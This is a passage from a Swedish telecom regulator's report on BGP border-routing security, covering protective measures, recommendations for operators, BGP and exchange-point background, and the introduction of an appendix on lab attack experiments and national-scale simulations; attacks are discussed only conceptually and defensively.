http://www.cymru.com/Documents/secure-bgp-template.html. The templates
have a bearing on the experiments conducted and we established that the
combination of updated software and configuration templates encompass the
cases studied in the experiments and should constitute a good starting point for
border router configuration. However, the templates cannot be regarded as a
finished solution and must be adapted and expanded according to local
conditions.
24
National Post and Telecom Agency
The protective measures that are mentioned most often are the following:
•
Infrastructure protection by means of lists of access controls, an Access
Control List (ACL): protection to prevent outsiders from contacting
routers and other equipment in the infrastructure
•
Deflecting and discarding malicious traffic
•
Spoofing protection: filtering in order to detect and discard traffic as far as
possible where the originator's address has been falsified
•
Filtering of BGP: filtering of prohibited addresses, 'bogons', i.e. unused
address blocks, and other false routes over peering connections.
Appendix 3, Section 4 contains a more detailed description of different
protective measures and BCPs.
In addition to books on routing design and configuration, the networking
company, Cisco, has published a series of reports in the form of white papers
with security advice called 'SAFE Blueprints'; among others, 'SAFE: Best
Practices for Securing Routing Protocols' is specifically aimed at routing
protocols. Several different types of attack and protective measure are
described here, such as protecting peering connections by encryption, routing
in relation to all external networks, filtering and flap damping. Examples of
areas dealt with include:
Types of attack:
•
Disrupting interconnection links (peering connections)
•
Falsifying routing information
•
Redirecting traffic to form a routing loop
•
Redirecting traffic to a 'black hole' – traffic disappears
•
Different types of DoS attack
•
Causing route flapping – reducing accessibility in the network
Protective measures:
•
Protection against router intrusion
•
Protection against intrusion in peering connections
•
Protection against false routers
•
Instructions in conjunction with authentication (via MD5)
National Post and Telecom Agency
25
Contents
•
Different protection and configuration instructions when connecting to
external networks
•
Filtering within the network
•
Future development of routing security
The American National Institute of Standards and Technology recently published
a draft of a report with security advice for configuring BGP. Different sector
organisations, for example NANOG, RIPE and APNIC, also have many lectures
with security advice at their conferences. Material from many previous lectures
can be found on the Web. Other websites, such as www.bgp4.as, have gathered
together a large number of documents and links to further information about
BGP, the routing system and security.
5.5
PTS is continuing to study and monitor developments
within the area
The simulations show that many users are affected if a stakeholder with a large
market share is attacked. This would be interesting for further study, in addition
to cases where stakeholders with a relatively small market share risk disrupting
stakeholders with larger market shares. Scenarios of this type should be discussed
with ISPs to see whether this corresponds with information in the Routing
Registry and whether in that case it is practically feasible to modify and improve
protection. Several initiatives are underway at present to create fundamentally
better protection by means of various forms of cryptographic protection of
information, but much work remains before a practical and feasible standard
solution is obtainable. PTS should follow the development of certain more
pragmatic proposals that have been made to improve the protection of
information in the routing system and which are based on methods to detect
incorrect information in the system.
26
National Post and Telecom Agency
6
Conclusions and proposals for increased security
The protocol that deals with interconnection between IP operators (BGP) has
fundamental conceptual inadequacies as regards information security.
Measures against other vulnerabilities that were discovered have successfully
been taken in the newer versions of software. Disseminating false routing
information through mistakes or by a malicious insider may cause traffic to be
redirected or blocked and have serious consequences for users. The
interconnection function may also be disrupted by external attacks, but up to
now only a limited number of individuals have sufficient skills to succeed
here.
Different types of filtering are used by operators to protect against false
routing information. This causes problems for large operators, as the filter
grows substantially and becomes difficult to maintain. This results in filters
either being insufficient or in there not being any filters at all. Attacks against
border routers that load the memory and processor can cause the
interconnection function to stop working and result in serious disruptions. If
a dominant Internet service provider is made into a source of false routing
information through an attack, our simulation tests show that the
consequences may result in up to 70% of end users being affected.
As regards the underlying transport protocol over which BGP is relayed,
namely the Transmission Control Protocol (TCP), the risk is relatively low for
attacks against this having any effect, as effective protective mechanisms have
been introduced.
The ongoing migration of circuit-switched traffic to packet-switched
technology in what is often called the 'Next Generation Network' or 'NGN'
will contribute to an increase in IP-based interconnection. Security in the IP
interconnection function will thus become increasingly important.
PTS intends to monitor the development of cryptographic solutions that
involve the traceability of information and ensure that it has not been
changed, as well as authorisation for disseminating routing information.
Based on the experiences gathered from our work, the following proposals are
made for operators:
•
Updated software should always be used in border routers to improve
security
•
There is a need for increased filtering to avoid falsified and inadequate
routing information being disseminated further
•
It is important that operators ensure that information about policy in the
Routing Registry is kept up-to-date to make adequate filtering easier
National Post and Telecom Agency
27
Contents
•
28
It is important that Internet service providers comply with existing
instructions and templates for the border routing system.
National Post and Telecom Agency
National Post and Telecom Agency
29
Bibliography
See References in Appendix 3, Section 7.
National Post and Telecom Agency
31
- BILAGA 1
Appendix 1 - Introduction to the Border Gateway
Protocol
Communication between BGP systems
A system for interconnection through border routing, that is, a 'BGP system',
starts by opening a connection across the Transmission Control Protocol (TCP)
to a BGP neighbour, that is, a service provider with whom an interconnection
agreement has been concluded and to whom there is a direct connection.
Opening messages identify the originator's AS and BGP identifiers and may also
contain authentication information to securely determine whether the information
comes from the AS that it claims to be. When the connection has been opened,
routing information is exchanged. The connection remains open and updates are
sent as necessary. In order to safeguard contact, periodic 'keep-alive' messages are
exchanged, usually every 30 seconds.
Advertising routes
The routers encompassed by the system regularly advertise information about
routes to their neighbours through 'UPDATE messages'. A border router in
AS 100 can, for example, be informed that the route to a certain destination takes
place through AS 555, AS 430 and AS 22. When AS 100 subsequently reports to
its neighbours, it adds its own number as the first number in the chain: AS 100,
AS 555, AS 430, AS 22, etc. This technology makes it easy to detect loops. If a
router receives an advertisement that includes its own AS number, this
advertisement is quite simply ignored.
Route aggregation
A technology known as 'aggregation', which is an amalgamation of routes, is used
to prevent routing tables becoming too large. This means that an Internet service
provider can advertise all of the networks and routing information of all of its
customers to the rest of the world in one block. Traffic from external AS is sent to
the operators' aggregating routers, which forward the traffic to the customers'
networks based on its own routing tables. For outgoing traffic, the customer's AS
informs the operator about the routes to the internal networks. The operators
then aggregate the routes under a prefix before they are advertised to the outside
world.
Withdrawal of routes
An established route is withdrawn if an update includes it in a list of withdrawn
routes. The same applies if an update contains a replacement route or if a BGP
system closes its connection. In this case, all routes will be deleted from this
system.
National Post and Telecom Agency
33
Contents - BILAGA 1
Route dampening
Virtually all BGP routers are subject to unnecessary route updating, that is,
information about the 'PATH' up to a certain network (prefix) due to fluctuations
further away in the Internet. 'Route dampening' is implemented to reduce the
consequences of this. This means that if a route viewed as unreliable is advertised,
the route is subsequently associated with a penalty. If routes appear, disappear or
change attributes, e.g. an AS-PATH with unreasonable intensity, the penalty is
increased. When the route no longer fluctuates, the penalty decreases
exponentially in time. Two border standards (dampening thresholds and
thresholds of reuse) regulate when the route may be accepted, used and
disseminated. In other words, the point is to prevent fluctuations from
overloading the routing system and from being disseminated and disrupting
routers further away. Routes do not only fluctuate due to attacks and incorrect
configurations. In some situations, planned interruptions are unavoidable; for
example, when upgrading or reconfiguring the router. For this reason, it is
important to try to identify realistic values for configuring route dampening. Most
people currently agree that the standard settings for route dampening are too
strict and several proposals have been presented for how route dampening should
be configured; for example, from RIPE.
34
National Post and Telecom Agency
- BILAGA 2
Appendix 2 - Exchange points
In Sweden, the Internet comprises many different networks that are owned and
administered by both domestic and foreign operators. Traffic between the
networks of two operators can be exchanged in the following ways:
•
•
•
by operators relaying traffic between each other via an own link ('direct
peering' or 'private peering')
by operators relaying traffic via exchange points in Sweden or abroad
by one of the operators being connected as a customer to the other
operator
Sweden has special national exchange points. These are run by Netnod in close
collaboration with SOF, a forum for Swedish Internet service providers. Netnod
is owned by the Foundation for Telematic Development (the TU Foundation).
Exchange points are currently located at four locations in Sweden: Stockholm,
Gothenburg, Malmö and Sundsvall. These exchange points are subject to high
security. They are located in rock shelters and are designed for high operational
reliability and availability, for example with redundant equipment and
connections. Netnod collaborates with Internet service providers by cooperating
in SOF and, for instance, having the following tasks:
•
•
•
•
•
purchasing communication equipment
leasing premises
leasing fibre links
concluding operating agreements
running other functions shared between operators, which are competitionneutral.
An exchange point only works well if all of the parties connected can decide with
whom they wish to or do not wish to exchange traffic. What is most important is
for the 'exchange point' to refrain from establishing a policy on who is to
exchange traffic with whom. In order to be connected to the shared exchange
points, Netnod requires the operator to live up to Netnod's definition of an
operator, namely, "the party running the operation within the field of the Internet
and which has its own AS number and does not use 'default routing' and accepts a
number of rules laid down by Netnod". These include:
•
•
•
•
•
the operator should publicise its routing policy, if possible by registering it
with RIPE NCC and other relevant Regional Internet Registries (RIR)
routing may not be exchanged over the exchange point with routing
protocols that utilise multicast or broadcast
static routing may not be used to direct traffic over the exchange point
AS numbers may only be used at an exchange point if they have been
coordinated and approved by Netnod
routing information exported to other destinations in the Internet may not
contain private AS numbers
National Post and Telecom Agency
35
Contents - BILAGA 2
•
36
traffic may only be sent to a destination for which an operator has agreed
in advance about the exchange of traffic.
National Post and Telecom Agency
- APPENDIX 3
Appendix 3 - Testing of vulnerabilities in the border
routing system
National Post and Telecom Agency
37
Contents - APPENDIX 3
Security in the border routing system:
A vulnerability analysis regarding the impact on Swedish
users
Michael Liljenstam
38
National Post and Telecom Agency
- APPENDIX 3
Abstract
The interdomain routing system is a critical part of the Internet infrastructure. Unfortunately,
the original design did not include mechanisms to secure the information in the system and, as
is the case for any equipment that is exposed in the network, there is the possibility of attacks.
Thus, vulnerabilities are currently known to exist and there is a great deal of interest in
improving the security of the routing system. This report describes experiments with routers
and simulation models to analyse the risks associated with a number of known and speculated
vulnerabilities. Security companies and equipment vendors are constantly searching for new
software vulnerabilities. To complement rather than duplicate these efforts, our focus here is to
study a few known vulnerabilities and study the risks in a broader perspective; that is, the
extent to which attacks might affect Swedish Internet users. The goal is partly to examine the
extent to which protection is available, partly to spread knowledge about protective measures,
and if possible determine the most effective defences in terms of reducing the potential number
of affected users.
The attack experiments with known attacks in lab networks indicate that certain types of threat,
for instance attacks against TCP connections to break or affect BGP peering sessions, are
significantly more difficult to carry out in practice than has previously been indicated in certain
reports. Newer software versions have improved the protocol implementations and include
some modifications to the treatment of key messages which makes it very difficult for an
attacker to succeed unless traffic on the link can be monitored. Additional protection of peering
connections can be afforded by MD5-based protection, although it appears to carry with it
some risks that the increased CPU load could be exploited for DoS attacks. Simple DoS attacks
targeting the infrastructure are a known phenomenon but have perhaps not received as much
attention as other types of attack (with the exception of the DNS root server attacks), but our
results indicate that they pose a more tangible threat than sequence number attacks against
TCP. Consequently, it is important to take appropriate security measures. With interest in
finding infrastructure vulnerabilities on the increase, it is now as important to run updated
software versions on infrastructure equipment as it is on workstations. However, in order to
protect against unknown vulnerabilities, it is also necessary to take other security measures,
and several Best Common Practices are available. Router configuration templates, created by
Team Cymru, were checked against the attacks that were tested in the experiments and were
found to constitute a good starting point. However, they have to be adapted to local conditions
and should be considered a minimum rather than a finished solution; and more advanced
measures, like complete isolation of control and management planes, are not discussed.
The simulations of potential consequences that were carried out were focused on studying
attacks based on the injection of false information into the system under the assumption that
the available policy information in the Routing Registry is used to provide as much defensive
filtering as possible. Half a dozen organisations were selected from a few different sectors and
a large number of different route-hijacking scenarios targeting these organisations were
simulated. Each scenario represented a different attack origin. Results for a deaggregation-type
of attack indicate that the consequences, in terms of the number of affected end users, do not
vary much between the different targets. On the other hand, user impact varies greatly with
attack origin as a result of filtering policies and varying AS influence in the network. The
results suggest that deaggregations by customer AS have a very small probability of impacting
on the system, thanks to extensive defensive filtering. The impact from attacks launched from
different Swedish ISP AS, on the other hand, varies from none (in about half the scenarios) up
to 60-70% of the end users being affected. However, due to market concentration there are
only a few scenarios that lead to extensive consequences, and for most scenarios fewer than
10% of users are affected. It is a known fact that current practices of defensive filtering do not
provide complete protection, as it is very difficult, in practice, to maintain large numbers of
filter definitions. However, the simulations point to specific scenarios that can potentially lead
to a large impact and it would be interesting to follow up the specifics with ISPs to validate the
National Post and Telecom Agency
39
Contents - APPENDIX 3
policy information from the Routing Registry and to determine whether it would be feasible to
introduce certain stricter filters for these specific scenarios. As a longer-term goal, it would be
better to strive for improved security support being incorporated into the protocols since
filtering cannot provide a complete solution and the coordination between different
organisations is difficult today.
40
National Post and Telecom Agency
- APPENDIX 3
Sammanfattning
Interdomän-routingsystemet är en kritisk funktion i Internetinfrastrukturen.Tyvärr innefattade
den ursprungliga konstruktionen inte något grundläggande stöd för att säkra informationen i
systemet, och som med all utrustning som exponeras på nätet finns möjligheten till attacker
som utnyttjar dolda sårbarheter i mjukvaran. Följaktligen finns vissa kända sårbarheter och på
senare tid har frågor runt hur säkerheten skulle kunna förbättras dragit till sig en hel del
intresse. Denna rapport beskriver experiment med fysisk utrustning och simuleringsmodeller
för att analysera risker förknippade med ett antal kända och spekulerade sårbarheter i
routingsystemet. Säkerhetsföretag och leverantörer letar ständigt efter oupptäckta sårbarheter.
För att komplettera, snarare än duplicera, dessa aktiviteter inriktade vi oss här på att studera
några redan kända sårbarheter och istället försöka se till riskerna i ett större perspektiv, dvs. i
vilken utsträckning de skulle kunna påverka svenska användare. Avsikten är alltså dels att
undersöka i vilken mån skyddsåtgärder finns för de kända sårbarheterna, att hjälpa till att
sprida kunskap om skyddsåtgärder som står till buds och bör tillämpas, samt att om möjligt
hitta åtgärder som ger det största utbytet i fråga om att minska antalet användare som skulle
kunna påverkas.
Utifrån de experiment som utfördes med kända attacker i labb-nät kan man konstatera att vissa
typer av hot, som t.ex. attacker mot TCP-förbindelser för att bryta eller påverka BGPförbindelser, är avsevärt svårare att genomföra i praktiken än vad som ibland tidigare
förespeglats. I nyare versioner av mjukvaran har också implementationen förbättrats och vissa
smärre modifieringar gjorts i hanteringen av meddelanden vilket gör det mycket svårt att
genomföra denna typ av attacker annat än om angriparen kan avlyssna trafiken på förbindelsen.
MD5-baserade skydd av peeringförbindelser tillför ytterligare skydd, även om det också
förefaller finnas en mindre risk för att ökad CPU-belastning skulle kunna utnyttjas vid
belastningsattacker. Belastningsattacker är ett känt fenomen som kanske inte uppmärksammats
så mycket när det gäller attacker mot infrastrukturen (utom i fallet då DNS-root-servrar
attackerades), men resultaten tyder på att detta är ett mer reellt hot än sekvensnummerattacker
mot TCP, varför det är viktigt att vidta skyddsåtgärder mot dessa. Över huvud taget kan man
konstatera att det nu är lika viktigt att uppdatera mjukvaran på routrar och
infrastrukturutrustning som på persondatorer, då fler och fler intresserar sig för att leta
sårbarheter även i infrastrukturen. För att skydda även mot ännu okända sårbarheter krävs
skyddsåtgärder, och ett flertal Best Common Practices finns att tillgå. Ett konkret förslag på en
startpunkt för routerkonfiguration skapat av team Cymru jämfördes med de attacker som testats
i experimenten och bör kunna utgöra en god utgångspunkt. De måste dock anpassas efter de
lokala förutsättningarna och bör betraktas mer som ett minimum än en färdig lösning; och mer
avancerade åtgärder som att t.ex. helt isolera kontroll- och management-plan berörs inte.
Simuleringarna av de potentiella följdverkningarna av attacker på nationell skala fokuserades
på att studera attacker som bygger på introduktion av falsk routinginformation i systemet,
under antagandet att tillgänglig information från routingregistret används i så hög grad som
möjligt för att uppnå bästa möjliga defensiva filtrering. Ett halvdussin organisationer valdes ut
för att representera några olika sektorer, och ruttkapningsattacker riktade mot dessa
simulerades i ett stort antal scenarier där utgångspunkten för attacken varierades. Resultaten för
deaggregeringar av prefix tyder på att konsekvenserna, i termer av hur stor andel av svenska
Internetanvändare som påverkas, inte varierar mycket mellan de olika målen. Vad som
däremot, i hög grad, påverkar konsekvensernas omfattning är varifrån attacken har sin
utgångspunkt, eftersom filtreringspolicies varierar i nätet och beror mycket på olika AS
position och inflytande. Resultaten från simuleringarna av prefix-deaggregeringar tyder på att
deaggregeringar från utpräglande kund-AS har mycket liten möjlighet att slå igenom i större
konsekvenser, tack vare utbredd defensiv filtrering mot kunder. Vid attacker utgående från AS
tillhörande svenska ISPer varierar konsekvenserna från att inga andra AS påverkas (i ungefär
hälften av fallen) till att upp till 60-70% av de svenska kunderna skulle kunna påverkas. På
grund av marknadskoncentration är det dock endast ett fåtal fall som leder till omfattande
National Post and Telecom Agency
41
Contents - APPENDIX 3
konsekvenser, och i de flesta fall påverkas färre än 10% av användarna. Det är ett känt faktum
att defensiv filtrering inte ger ett heltäckande skydd eftersom det i praktiken är mycket svårt att
underhålla stora mängder filter. Från simuleringarna kan man dock utläsa vissa specifika
scenarier som potentiellt kan leda till större konsekvenser, och det vore av intresse att följa upp
dessa med ISPer för att kontrollera om policyinformationen i routingregistret stämmer och om
det i så fall skulle vara praktiskt möjligt att introducera vissa striktare filter. På längre sikt vore
det bättre att verka för att säkerhet byggs in i protokollen, eftersom filtrering inte ger en
heltäckande lösning och koordinationen mellan organisationer är komplicerad idag.
42
National Post and Telecom Agency
- APPENDIX 3
Thanks!
We would like to express our gratitude to TeliaSonera AB and NSII for access to the
laboratory networks and their help with the experiments. We would also especially like to
thank Lars Axeland (Telia), Per Helm (Telia), Kurt-Erik Lindqvist (Netnod/NSII) and Peter
Löthberg (NSII/STUPI) for our rewarding discussions, and their views and comments.
National Post and Telecom Agency
43
Contents - APPENDIX 3
Contents
Introduction .................................................................................................................47
1
The interdomain routing system .......................................................................48
1.1 Known and potential vulnerabilities ............................................................48
1.2 Ongoing initiatives to improve security .......................................................48
1.3 Vulnerabilities considered by this study......................................................49
1.3.1
Attack principles ..........................................................................50
1.4 Protection principles....................................................................................54
1.4.1
Protecting routers ........................................................................54
1.4.2
Protecting routing information .....................................................56
2
Experiments in lab networks .............................................................................58
2.1 Initial experiments: lab network A ...............................................................58
2.1.1
Initial reconnaissance ..................................................................59
2.1.2
DoS with crafted packets.............................................................62
2.1.3
Attacks on a TCP coupler............................................................66
2.1.4
Traffic through slowpath ..............................................................70
2.1.5
Loading within the verification level.............................................71
2.1.6
Test of impact on performance as a result of security
mechanisms ................................................................................71
2.1.7
Testing which/how great a proportion of AS use flap
damping.......................................................................................71
2.2 Experiments in lab network B .....................................................................72
2.2.1
Initial reconnaissance ..................................................................72
2.2.2
DoS with crafted packets.............................................................76
2.2.3
Attacks on a TCP coupler............................................................76
2.2.4
Loading of input queue ................................................................77
2.2.5
Traffic through slowpath ..............................................................79
2.2.6
Tests of impact on performance as a result of security
mechanisms ................................................................................82
2.3 Experiments in lab network C .....................................................................85
2.3.1
Initial reconnaissance ..................................................................85
2.3.2
DoS with crafted packets.............................................................86
2.3.3
Traffic load to CPU ......................................................................86
2.4 Conclusions drawn from the lab network experiments ...............................90
2.4.1
Results of the experiments..........................................................90
2.4.2
Local and macroscopic consequences .......................................93
3
Best Common Practices.....................................................................................94
3.1 Some sources of general advice ................................................................94
3.2 Configuration templates ..............................................................................94
4
The Swedish routing system: a simulation model ..........................................98
4.1 Network topology ........................................................................................98
4.1.1
AS level topology.........................................................................98
4.1.2
Router level topology................................................................ 101
4.2 Functions critical to society...................................................................... 102
4.3 Market shares: Internet users .................................................................. 102
4.4 Network prefixes ...................................................................................... 103
4.5 BGP policy ............................................................................................... 103
4.6 Data flows ................................................................................................ 104
4.7 Validation ................................................................................................. 107
4.7.1
AS topology .............................................................................. 107
4.7.2
Router topology ........................................................................ 107
44
National Post and Telecom Agency
- APPENDIX 3
4.8
4.7.3
Market shares ...........................................................................108
4.7.4
Routing policy............................................................................108
4.7.5
Prefixes and routes ...................................................................108
Conclusions about validation....................................................................112
5
Simulation experiments ...................................................................................113
5.1 Advertising false routes ............................................................................113
5.1.1
Example scenarios: deaggregation from the AS of Swedish
ISPs...........................................................................................113
5.1.2
Systematic quantification: consequences of deaggregation
attacks .......................................................................................114
5.1.3
Systematic quantification: consequences of attacks using
existing prefixes ........................................................................118
5.2 Induced router crashes.............................................................................123
5.3 Discussion ................................................................................................125
6
Conclusions and recommendations...............................................................127
National Post and Telecom Agency
45
Contents - APPENDIX 3
46
National Post and Telecom Agency
- APPENDIX 3
Introduction
The routing system, a critical function. The routing system, together with the DNS system, is
an important logical subcomponent of the Internet infrastructure. A disruption in the routing
system can have serious consequences as traffic will not reach its destination without an
operational routing function. In other words, successfully manipulating the routing system
makes it possible to either block traffic to certain destinations or to redirect traffic without the
user's knowledge. This study aims to shed light on the risks associated with attacks exploiting
possible vulnerabilities in the routing system. Here, 'risk' means a combination of the
likelihood of a successful attack and the consequences brought about by the attack.
Limitations of the study. As there are other projects and sections at PTS's Network Security
Department actively working to safeguard the physical security of the Internet infrastructure,
this particular project focused on logical vulnerabilities. 'Logical vulnerabilities' refers to
vulnerabilities that can be exploited during attacks whose primary aim is not to physically
destroy or disrupt network equipment, but instead, for example, to manipulate control traffic or
to gain access to the equipment's command line interface.
The vulnerabilities or potential vulnerabilities that are discussed in the project encompass at a
high level:
• Manipulation of router configuration as a consequence of intrusion or with the help of
an insider
• Different types of DoS attack on border routers
• Disruption through exploitation of software vulnerabilities.
Method. The risk associated with a particular type of attack is a combination of the difficulty
of carrying out the attack and the consequences brought about by the attack. In order to gain a
better understanding of the known types of attack that have been described and speculated
about, a combination of experiments were conducted using physical router equipment in lab
networks and simulations to assess the large-scale impact.
Attack experiments in lab networks. The first step was to conduct an experiment using
known types of attack in three different lab networks so as to have a clear picture of the
conditions that exist to exploit known vulnerabilities. The experiment aimed first to provide
information about the level of difficulty in carrying out an attack, to check that the
vulnerabilities are rectified or assess the extent to which certain weaknesses may persist, and
finally to be able to classify the 'local' consequences of a attack being carried out; in other
words, how they affect the specific router being attacked. The local consequences are
subsequently extrapolated to the larger system by means of simulations. The attack
experiments also provide other forms of input data as regards the behaviour of the equipment
that is used as a basis of the simulations.
Simulations of attacks. A simulation model was developed to gain a better understanding of
the consequences of different attacks on a larger scale. This helped to measure the
consequences of different attack scenarios. The attacks varied as regards the type of attack as
well as the point at which attack entered the system. The model was designed to enable a
course of events in the routing system to be studied when certain organisations or sectors that
are critical to society are exposed to attacks (directed at the routing system) and to be able to
quantify the extent of Swedish Internet users that could be affected. We can estimate the risks
associated with the scenario with the help of this information together with a rough estimate of
the likelihood of an attack being successful. It is hoped that an improved understanding of the
relative risks may result in resources directed at improving security being prioritised in a
rational way to the areas where they are most worthwhile.
National Post and Telecom Agency
47
Contents - APPENDIX 3
Reading instructions. The remainder of this report is structured as follows: Section 1 starts
with a brief description of the interdomain routing system, a little about its known
vulnerabilities, and the attacks that were studied. Section 2 then describes the attack
experiments carried out in lab environments. Section 3 provides a number of sources for 'Best
Common Practices' in terms of routing security and how they relate to the attack experiments.
Section 4 describes how a simulation model of the routing system on a national level was
designed and validated, and Section 5 describes the simulation experiments that were carried
out to assess the possible consequences of the various attacks. Section 6 contains conclusions
and recommendations. Appendix E provides a list of the abbreviations used in this report.
1 The interdomain routing system
The Internet currently consists of more than 20 000 autonomous systems (AS). An AS is a
network controlled by an organisation's administrative function. However, for practical
reasons, some organisations with very large networks, such as the largest ISPs, have divided
their networks into several AS. Routing (traffic routing) takes place within an AS by means of
intradomain routing protocols, such as OSPF, IS-IS or EIGRP, which assess the shortest route
through the network. However, routing when traffic is exchanged between AS, that is,
'interdomain routing', is controlled in a different way. In this case, the primary aim is not to
identify the shortest route through the network but to be able to define policies for directing
traffic in accordance with the commercial agreements concluded concerning the exchange of
traffic between the organisations that own the different AS. The directing function is carried
out by means of the BGP ('Border Gateway Protocol') [1][2][3], which is the de facto standard
in the Internet, where policies can be specified in the form of filters and preferences between
available routes.
1.1
Known and potential vulnerabilities
When the BGP protocol was designed, no one took much account of the security aspects,
which has led to the current functions for border routing having certain well-known,
fundamental inadequacies as regards ensuring that information in the routing system is correct.
The AS 7007 incident in 1997 [4] is by far the most well-known case where incorrect routing
information leaked out and resulted in large-scale disruptions to the routing system. However,
this incident led to an increased understanding of BGP's lack of inbuilt security functions and
helped to initiate the development of proposals for new security mechanisms. Since then, a
number of systematic studies have also been carried out to analyse potential vulnerabilities in
the routing system, e.g. [5][6][7][8]. Recurring problems in these descriptions include:
• The lack of protection for the authenticity and integrity of routing messages
• The possibility of disrupting underlying protocols, particularly TCP
• Direct DoS attacks against routers in the network so as to disrupt the routing system
• The route flap dampening mechanism being potentially used by attackers so that
limited disruptions result in a more extensive loss of connectivity.
Vulnerabilities will be discussed in more detail in Section 1.3, where we discuss the
vulnerabilities studied in this report.
1.2
Ongoing initiatives to improve security
A number of initiatives have been taken to improve security in the routing system. Secure-BGP
(S-BGP) [7] was a well-known, early proposal to fundamentally improve the protection of the
information in the system. Its aim is to use cryptographic mechanisms to ensure that the route
information has the correct origin and that certain route attributes have not been manipulated
along the way. However, one significant practical problem is that, in addition to changes to the
protocol and the management of messages, some form of infrastructure is also required to
disseminate public keys to all routers ('Public Key Infrastructure' or PKI). It is technically
feasible to achieve such an infrastructure, but finding space for this is a practical problem and
having to decide which organisations should function as certificate issuers is an administrative
problem. As cryptographic verification is relatively complex and demanding in terms of
resources, there is also uncertainty about the impact of its introduction on performance, and
48
National Post and Telecom Agency
- APPENDIX 3
whether it would be possible from a practical point of view in routers that manage large
quantities of traffic in the core of the largest networks.
Secure Origin BGP (SoBGP) [10] is a somewhat simplified variant where the origin is
protected as well as certain characteristics of the attribute describing the route to it. The
intention is to reduce the resources needed for verification and thus have less of an impact on
performance. However, the system still needs a PKI. There is also a proposal to use other
cryptographic mechanisms that demand fewer resources in a protocol such as Secure Path
Vector (SPV) [11]. [5] provides a detailed description of various protocols and mechanisms
that have been proposed.
In practice, the defensive filtering1 of routing information is currently used based on
information exchange about policies via the Routing Registry. However, information in the
Routing Registry is inadequate due to shortcomings in the manual updates that are required to
keep the information correct and consistent. In other words, in practice it is difficult to achieve
comprehensive protection. More pragmatic methods have also been proposed for making
certain improvements to the existing system. These mainly involve attempting to discover false
routing information in real-time by, for example, verifying the prefix origin against the Routing
Registry [12] or by verifying information from other points in the system [13][14].
For a more long-term solution, the Internet Engineering Task Force (IETF) is also currently
drawing up requirements for security mechanisms in the next generation's routing system.
1.3
Vulnerabilities considered by this study
A number of compilation studies and vulnerability reports have been used, for example
[5][6][7][8][15], as a basis for the selection of vulnerabilities considered by this study. Rather
than search for new ones, we have chosen to focus on vulnerabilities that are already known
and have previously been publicised. There are two main reasons for this:
1. We would like to ensure that we have a good understanding of the risks identified,
that these risks have been remedied and that we know which protective measures
should be applied
2. It is clear that a number of stakeholders are striving to identify vulnerabilities (such as
suppliers, operators and security companies), but it is not apparent that any of these
stakeholders have the interest or resources needed to paint an overall picture of the
potential impact, for example at a national level. Thus, it appears better to supplement
ongoing work by attempting to use new methods to assess the risks on a larger scale.
However, this requires a good basic understanding of the vulnerabilities already
identified.
As this involves vulnerabilities that are already known, this means that vulnerabilities based on
implementation errors in software have been rectified, and new security functions have been
added to later versions of router operating systems in order to eliminate the problems.
However, the basic principles are of interest, as certain types of attack can be difficult to
completely protect against, and it cannot be ruled out that new vulnerabilities will be
discovered with characteristics similar to the previous ones. Also, it is a matter of ensuring that
all relevant network operators are aware of the known problems so that old vulnerable software
versions are not still being used and so that the protective mechanisms that are available are
utilised optimally.
When reviewing the known vulnerabilities, we focused on Cisco equipment, since Cisco has a
strong market position and such equipment can therefore be expected to constitute a large part
of existing installations.
'Defensive filtering' refers to filters whose aim is to protect against (i.e. filter out) incorrect
information rather than manage the intended routing information.
1
National Post and Telecom Agency
49
Contents - APPENDIX 3
In general, the attacks that can be carried out and their impact will depend on the protective
measures that are applied in the network and the resources and powers that opponents have at
their disposal. Subsequently, it would be suitable to vary these parameters in order to assess
how different Best Common Practices (BCPs) for network construction and operation could
have an impact on the network's resilience to attacks. A limited range of assumptions is made
here about the configuration of routers in the network, as it is not possible to carry out an
exhaustive investigation due to the large number of combination possibilities.
As a 'threat profile' [5], we have chosen to have an attacker attempt to disrupt the routing
system, either by redirecting traffic or simply by generating a 'Denial-of-Service' (DoS) attack
against an organisation or more broadly within the Swedish network. It is assumed that this can
be achieved through attacks against, for example, the integrity of the BGP message, the TCP
coupler, disruption of border routers, etc. Other potential threat profiles, such as threats to the
possible confidentiality of routing information, are not taken into account. First, we discuss the
various points of attack that are known about and then we briefly discuss protection.
1.3.1 Attack principles
To sum up, the routing system can also be attacked indirectly through attacks on various layers
of the protocol stack. This is illustrated with some examples in Figure 1 below.
OSI
- routing-attacker
(BGP, IGP)
- SNMP-attacker
- (konfigurations-)
http-serverattack
...
TCP/IP
7. Applikations-nivå
6. Presentations-nivå
Applikations-nivå
- TCP-attacker
...
5. Session-nivå
4. Transport-nivå
Transport-nivå
3. Nätverks-nivå
Nätverks-nivå
2. Länk-nivå
Länk-nivå
1. Fysisk nivå
Fysisk nivå
[Text for diagram above:
OSI
7. Application level
6. Presentation level
5. Session level
4. Transport level
3. Network level
2. Link level
1. Physical level
TCP/IP
Application level
Transport level
Network level
Link level
Physical level
- ICMP-attacker
...
- ARP-attacker
- DHCP-attacker
...
- routing attacks
(BGP, IGP)
-SNMP attacks
- (configuration)
http-server attacks
- TCP attacks
- ICMP attacks
- ARP attacks
- DHCP attacks]
Figure 1. Attacks against various protocol levels can indirectly affect the routing system
50
National Post and Telecom Agency
- APPENDIX 3
These different possibilities give rise to a complex system of dependencies between the
different possible combinations of attacks in order to achieve a certain aim. This is often
illustrated in the form of an attack tree. Figure 2 below shows an attack tree with the aim of
disrupting or influencing a peering session based on known, potential vulnerabilities. This lays
the foundation for the experiments in the different lab networks. The tree is actually two trees
with the ultimate goals of 'disrupting the peering connection' (this mainly pertains to DoS) and
'injecting false route information'. The injection of false information requires the successful
manipulation of the BGP configuration or messages by the attacker. The verification level' here
refers to the capacity to manipulate messages within the routing protocol. There are a number
of attacks at the traffic level, which are easier to carry out as they are based on sending traffic
to or through the router in order to cause disruptions (DoS). The practical experiments
primarily focused on DoS-related attacks as it is assumed that these will be somewhat easier to
carry out from the outside and will not require as much effort to investigate the function of the
OS code, 'social engineering' or the like.
The 'BGP Vulnerability Testing: Separating Fact from FUD' study [16], presented at NANOG
and quoted in the 'exjobb' report, indicated that general attacks against the TCP coupler, which
were observed relatively recently, are difficult to carry out in practice, particularly if BCPs are
applied. On the other hand, other investigations [17] point out that the possibility of relatively
simple attacks against routers, such as password guessing, should probably not be ruled out,
even if the application of certain strict BCPs can make it much more difficult or virtually
impossible for an attacker to reach routers in the infrastructure.
It is also worth noting that until very recently it was assumed virtually impossible to achieve in
practice a 'shellcode' initiated from a distance against a Cisco router, i.e. an attack code that
opens up a configuration shell for the attacker on the machine by exploiting a vulnerability.
However, this possibility was demonstrated at the Black Hat Briefings conference [18] in 2005.
National Post and Telecom Agency
51
Contents - APPENDIX 3
Attack-träd
